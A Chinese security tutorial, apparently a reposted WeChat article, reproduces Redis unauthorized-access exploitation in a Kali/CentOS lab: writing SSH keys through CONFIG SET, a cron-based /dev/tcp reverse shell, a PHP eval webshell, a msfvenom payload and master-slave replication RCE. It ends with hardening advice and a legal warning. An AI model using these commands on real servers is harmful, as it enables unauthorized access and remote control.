前言
Redis介绍
Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库,其具备如下特性:
-
基于内存运行,性能高效
-
支持分布式,理论上可以无限扩展
-
key-value存储系统
-
开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
目前guthub/twitter/微博/阿里/美团/百度等大厂都在使用Redis,Redis 的应用场景包括:缓存系统(“热点”数据:高频读、低频写)、计数器、消息队列系统、排行榜、社交网络和实时系统。
Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。
影响版本
redis-4.0.10 之前的版本 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
redis-4.0.10 之后的版本 默认开启了保护模式,仅允许本地无密码验证连接。如果再想利用,可能就要考虑弱口令和配置错误了。
提权攻击:攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。
默认端口:6379
sentinel.conf配置器端口为:26379
环境搭建
攻击机:kali-192.168.1.128
靶机:Centos7-192.168.1.8
Redis-4.0.8安装
kali一般安装有redis,这里在演示,CentOS7安装redis。
1.下载
wget http://download.redis.io/releases/redis-4.0.9.tar.gz
2.解压
tar -zxvf redis-4.0.9.tar.gz
3.进入解压好的文件内
cd ./redis-2.0.9
3.安装,时间可能长一些
make
5.再次make test
提示在src目录下make test。
cd ./src ; make test
可能能会报tcl的错误,如【You need tcl 8.5 or newer in order to run the Redis test】,如果你没有报这个就跳过,解决办法:【yum install tcl】
2.2 配置文件修改
修改redis.conf
配置文件,关闭保护模式使可以远程访问:
1. 进入/redis-4.0.9/src/目录下
cp redis-server /usr/bin
2. 回到/redis-4.0.9/目录下
cp redis.conf /etc
3.编辑在etc目录中的redis.conf文件
vim /etc/redis.conf
1)去掉IP绑定,允许除本地外的主机登陆redis服务;(bind 127.0.0.1前面加上#号 )
2)修改protected-mode为no,关闭保护模式,允许远程连接redis服务(protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后是允许远程连接。)这个步骤将会关闭保护模式,防止下面kali在info时报错
防止复现的过程中报错,关闭Linux的防火墙配置。
iptables -F
setenforce 0
systemctl stop firewalld.service
启动CentOS7 redis服务端
redis-server /etc/redis.conf
使用kali客户端进行连接测试。
redis-cli -h 192.168.1.8
可以看到不需要输入密码就可以远程连接redis,可以执行info
查看redis的安装路径,服务器内核信息进程IP、内存CPU等信息。
Apache+php安装
在CentOS 7安装Apache,通过redis向服务器写webshell的时候会用到。
1.yum install httpd
2.systemctl enable httpd
3.systemctl start httpd
4.systemctl status httpd
访问IP
参考笔记:https://www.php.cn/apache/424486.html
安装php
1.yum install php
2.systemctl restart httpd
3.在根目录创建文件
echo "<?php phpinfo();?>" > /var/www/html/index.php
2.测试php是否正常
http://192.168.1.9/index.php
参考笔记:https://www.php.cn/php-ask-483220.html
Redis未授权访问漏洞
漏洞原理
Redis
默认情况下,会绑定在 0.0.0.0:6379
,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令
,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh
文件夹的authotrized_keys
文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
漏洞危害以及利用方式
-
攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行
flushall
来清空所有数据。 -
攻击者可通过
eval
执行lua代码
,或通过数据备份功能往磁盘写入后门文件。 -
最严重的情况,如果Redis以
root身份
运行,黑客可以给root账户写入SSH公钥文件
,直接通过SSH登录受害服务器。
1)利用redis写ssh公钥实现ssh登录
漏洞原理
在数据库中插入一条数据,将本机的公钥作为value,key值,然后通过修改数据库的默认路径为/root/.ssh
和默认的缓冲文件authorized.keys
,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh
下生成一个授权的key。
利用条件:
redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入。
利用过程
01
确保CentOS 7 ssh服务开启着:
1.查看ssh服务状态
systemctl status sshd.service
尝试使用Kali远程连接ssh:ssh [email protected]
,可以看到需要登密码。
02
攻击机(Kali)上创建ssh-rsa
密钥,也就是生成key,这里什么也不输入,连续回车三次。
ssh-keygen -t rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
可以看到生成的公钥已将保存到/root/.ssh/id_rsa.pub
路径下,输入ls -al /root/.ssh/
命令可以看到保存的公钥文件。
03
将公钥导入key.txt
,(前后用n
换行,避免和redis里其他缓存数据混合,是用于防止乱码);
cd /root/.ssh/
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > key.txt
ls -al /root/.ssh/
可以查看生成的key.txt
文件,使用cat /root/.ssh/key.txt
查看密钥内容。
04
Kali通过redis的未授权访问漏洞,将key.txt
生成的公钥写入靶机服务器的内存之中:
cat key.txt | redis-cli -h 192.168.1.8 -x set crack
-x
代表从标准输入读取数据作为该命令的最后一个参数。
Kali通过redis远程登陆,输入key *
,查看crack,输入get crack
查看公钥内容。
05
设置路径和保存的文件名,将内存变量导入磁盘文件。
config set dir /root/.ssh
config set dbfilename authorized_keys
save
注意:这里报错(error) ERR Changing directory: No such file or directory
的意思是靶机没有这个文件目录, 原因是.ssh
是记录密码信息的文件夹,如果没有用root用户登录过的话,就没有 .ssh
文件夹,所以我们在靶机上执行下面这条命令(mkdir /root/.ssh
)手动创建.ssh
目录。
06
靶机(CentOS 7)可以执行cat /root/.ssh/authorized_keys
查看公钥已经成功导入;此时,在攻击机(Kali)这里用ssh连接靶机,可成功连接。
ssh -i id_rsa root@192.168.1.8
ifconfig
查看ssh成功连接。
2)利用计划任务反弹shell
漏洞原理
利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录 /var/spool/cron/crontabs
下来执行;(/crontabs
kali系统下的计划任务文件夹。)
漏洞复现
01
在Attacker(Kali)上建立起nc监听。
nc -lvvp 3344
02
在Attacker(Kali)上未授权访问Redis
redis-cli -h 192.168.138.128
然后输入以下命令。
set xx "nn * * * * * /bin/bash -i >& /dev/tcp/192.168.1.128/3344 0>&1 nn"
config set dir /var/spool/cron/
config set dbfilename root
save
02
过一会儿,nc就会监听到反弹的shell,要想进一步利用,就可以使用msf生成payload,放在自己的VPS上。将paylaod下载到靶机上,并运行,将shell反弹给msf。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=1122 -a x86 --platform Linux -f elf > shell.elf
3)利用redis写入Webshell
利用条件:
-
服务器开着web服务
-
redis有web目录写权限,可以往web路径写入文件
复现过程:
01
在攻击机Kali上未授权访问Redis。
redis-cli -h 192.168.138.128
02
通过redis-cli向apache的/var/www/html
目录下写webshell文件,并使用蚁剑连接。
config set dir /var/www/html
config set dbfilename shell.php
set websehll "nn<?php @eval($_POST[cmd])?>nn"
save
03
访问192.168.1.8/shell.php
使webshell脚本生效,再使用蚁剑连接。
Redis主从复制 GetShell
4.1漏洞原理
漏洞存在于4.x、5.x
版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在redis 4.x
之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so
文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC
同步文件到从机上。然后在从机上加载恶意.so
文件,即可执行命令。
4.2利用条件
-
影响版本:Redis 4.x/5.x (<= 5.0.5)
-
漏洞类型:RCE
-
利用条件:未授权或者弱口令外网访问redis 服务
4.3漏洞复现
这里使用了两款工具进行主从复制漏洞的复现。
1)工具一:redis-rogue-server。
该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用。
如果存在密码可以使用下面这个工具。
2)工具二:Awsome-Redis-Rogue-Server:
-
利用工具反弹shell:可以执行一下语句进行反弹shell。
python3 redis-rogue-server.py --rhost 192.168.138.128 --lhost 192.168.0.101
--rhost [靶机]--lhost [黑客攻击]
,运行时可能存在编码错误,将.py文件改为gbk编码
。
注意:脚本运行的时候,有两种模式【i】交互式,也就是命令行;【r】反弹shell。
反弹shell:
交互模式:
这部分的缺点就是只适用于目标机器允许远程登录的时候,如果目标机子只允许本地登录,则这种利用方法就不行了,此时可以配合其他漏洞,从目标本地登录redis。
防护建议
-
将redis版本升级到4.x/5.05或以上;
-
将redis的默认端口号6379修改为其他端口号并避免redis端口暴露在公网;
-
设置密码认证(一般为空),可以免密码远程登陆redis服务;
-
利用防火墙对访问redis服务器的流量进行检测拦截;
-
绑定内网ip地址进行访问。
参考链接:
-
https://www.freebuf.com/articles/web/289231.html
-
https://blog.csdn.net/weixin_45605352/article/details/118790775
-
https://www.bilibili.com/video/BV1me411g7TH/(视频:未授权访问/写ssh公钥/写webshell文件)
-
http://www.luckysec.cn/posts/8a8aba13.html(Redis未授权漏洞总结)
-
https://blog.csdn.net/weixin_39664643/article/details/112966774()
-
https://www.jb51.net/article/217137.htm(关于Redis未授权访问的问题_Redis_脚本之家)
Redis未授权访问漏洞复现与GETSHELL利用方法汇总(含靶场搭建)
Redis 基于主从复制的 RCE 利用方式
python脚本实现Redis未授权批量提权_Redis_脚本之家
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(巢安实验室):Redis未授权访问/主从复制
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论